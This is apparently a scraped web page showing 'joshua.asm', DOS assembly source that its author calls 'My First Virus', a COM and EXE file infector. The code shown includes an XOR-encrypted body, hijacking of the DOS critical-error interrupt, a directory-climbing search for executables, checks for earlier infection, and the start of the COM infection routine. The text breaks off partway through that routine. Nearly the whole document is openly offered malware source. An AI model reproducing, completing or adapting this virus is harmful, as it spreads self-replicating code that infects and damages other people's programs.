📄 joshua.asm
字号:
;******************************************************************
;* *
;* My First Virus, a simple non-overwriting COM and EXE *
;* infector. *
;* by, Joshua *
;* *
;******************************************************************
ID = 'SS' ; My ID
.model tiny ; Memory model
.code ; Start Code
org 100h ; Start of COM file
MAIN: db 0e9h,00h,00h ; Jmp START_VIRUS
START proc near
DECRYPT: mov bx,offset START_VIRUS ; Find out our offset
mov cx,(END_VIRUS-START_VIRUS)/2
DECRYPT_LOOP: db 2eh,81h,37h ; XOR [BX],xxxx
KEY dw 0 ; Crypt KEY
add bx,2 ; Increment offset
dec cx ; Decrement counter
jnz DECRYPT_LOOP ; Continue until done
START_VIRUS:
call FIND_OFFSET ; Real start of virus
; Calculate change in offset from host program.
FIND_OFFSET: pop bp ; BP holds current IP
sub bp, offset FIND_OFFSET ; Calculate net change
; Change BP to start of
; virus code
; Capture INT 24h Critical error handler.
push es ; Save ES
mov ax,3524h ; DOS get interupt vector
int 21h ; Call DOS to do it
mov word ptr [bp+OLDINT24],bx ; Save old INT 24h
mov word ptr [bp+OLDINT24+2],es ; vector
mov ah,25h ; DOS set interupt vector
lea dx,[bp+NEWINT24] ; Address of new interupt
int 21h ; Call DOS to do it
pop es ; Restore ES
; Find out what kind of program I am, COM or EXE, by checking stack pointer.
; This is where I store my ID in an EXE infection.
cmp sp,ID ; COM or EXE?
je RESTORE_EXE ; I am an EXE file
; Restore original bytes to the COM program.
RESTORE_COM: lea si,[bp+COM_START] ; Restore original 3 bytes
mov di,100h ; to 100h, start of file
push di ; Jmp to 100h when done
movsw ; Copy 3 bytes
movsb
jmp short RESTORE_DONE
; Restore original bytes to the EXE program.
RESTORE_EXE: push ds ; Save original DS
push es ; Save original ES
push cs ; Set DS = CS
pop ds
push cs ; Set ES = CS
pop es
lea si,[bp+JMPSAVE] ; Copy original CS:IP and
lea di,[bp+JMPSAVE2] ; SS:SP for return
movsw ; Copy 8 bytes
movsw
movsw
movsw
; Change the DTA from the default so FINDFIRST/FINDNEXT won't destroy
; original command line parameters.
RESTORE_DONE: lea dx,[bp+DTA] ; Point to new DTA area
mov ah,1ah ; DOS set DTA
int 21h ; Call DOS to do it
; Save original directory.
mov ah,47h ; DOS get current directory
lea si,[bp+ORIG_DIR] ; Store it here
mov dl,0 ; Current drive
int 21h ; Call DOS to do it
; Search for a file to infect.
SEARCH: lea dx,[bp+EXE_MASK] ; Search for any EXE file
call FINDFIRST ; Begin search
lea dx,[bp+COM_MASK] ; Search for any COM file
call FINDFIRST ; Begin search
mov ah,3bh ; DOS change directory
lea dx,[bp+DOTDOT] ; Go up one direcotry
int 21h ; Call DOS to do it
jnc SEARCH ; Go look for more files
; Restore default DTA, original directory, and pass control back to
; original program.
QUIT: mov ah,3bh ; DOS change directory
lea dx,[bp+ORIG_DIR-1] ; Point to original directory
int 21h ; Call DOS to do it
push ds ; Save DS
mov ax,2524h ; DOS set interupt vector
lds dx,[bp+OLDINT24] ; Restore INT 24h
int 21h ; Call DOS to do it
pop ds ; Restore DS
mov ah,1ah ; DOS set DTA
mov dx,80h ; Restore original DTA
cmp sp,ID-4 ; EXE or COM? ES,DS on stack
jz QUIT_EXE ; Pass control to host EXE
QUIT_COM: int 21h ; Call DOS to set DTA
retn ; Remember, 100h was on stack
QUIT_EXE: pop es ; Restore original ES
pop ds ; Restore original DS
int 21h ; Call DOS to set DTA
mov ax,es ; AX = begin of PSP segment
add ax,16 ; Add size of PSP to get CS
add word ptr cs:[bp+JMPSAVE2+2],ax ; Restore IP
add ax,word ptr cs:[bp+STACKSAVE2+2] ; Calculate SS
cli ; Clear interrupts
mov sp,word ptr cs:[bp+STACKSAVE2] ; Restore SP
mov ss,ax ; Restore SS
sti ; Set interrupts
db 0eah ; Jump SSSS:OOOO
JMPSAVE2 dd ? ; CS:IP for EXE return
STACKSAVE2 dd ? ; SS:SP for EXE return
JMPSAVE dd ? ; Original EXE CS:IP
STACKSAVE dd ? ; Original EXE SS:SP
CREATOR db '[Joshua]' ; That's me!
; DOS Findfirst / Findnext services
FINDFIRST: mov ah,4eh ; DOS find first service
mov cx,7 ; Choose files w/ any attribute
FINDNEXT: int 21h ; Call DOS to do it
jc END_SEARCH ; Quit if there are errors
; or no more files
; Ok, if I am here, then I found a possible victim. First open the file
; for read only.
mov al,0 ; DOS Open file, read only
call OPEN ; Open the file
; Read in the beginning bytes to check for previous infection and then close.
mov ah,3fh ; DOS Read file
lea dx,[bp+BUFFER] ; Save the original header
mov cx,24 ; Read 24 bytes
int 21h ; Call DOS to do it
mov ah,3eh ; DOS close file
int 21h ; Call DOS to do it
; Check if the file is an EXE.
CHECK_EXE: cmp word ptr [bp+BUFFER],'ZM' ; Is it an EXE?
jne CHECK_COM ; Nope, see if it's a COM
cmp word ptr [bp+BUFFER+16],ID; Is it already infected?
je ANOTHER ; Yep, so try another
jmp short INFECT_EXE ; We got one! Go infect it!
; Check if the file is COMMAND.COM
CHECK_COM: cmp word ptr [bp+DTA+35],'DN' ; Check for COMMAND.COM
jz ANOTHER ; If it is, try another file
; Now, check for previous infection by checking for our presence at
; the end of the file.
mov ax,word ptr [bp+DTA+26] ; Put total filesize in AX
cmp ax,(65535-(ENDHEAP-DECRYPT)); Check if too big
jle ANOTHER ; If so, try another
mov cx,word ptr [bp+BUFFER+1] ; Put jmp offset in CX
add cx,END_VIRUS-DECRYPT+3 ; Add virus size to jmp offset
cmp ax,cx ; Compare file size's
jnz INFECT_COM ; If healthy, go infect it
ANOTHER: mov ah,4fh ; Otherwise find another
jmp short FINDNEXT ; possible victim
END_SEARCH: retn ; No files found
;*** Subroutine INFECT_COM ***
INFECT_COM:
; Save the first three bytes of the COM file
lea si,[bp+BUFFER] ; Start of first 3 bytes
lea di,[bp+COM_START] ; Store them here
movsw ; Transfer the 3 bytes
movsb
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -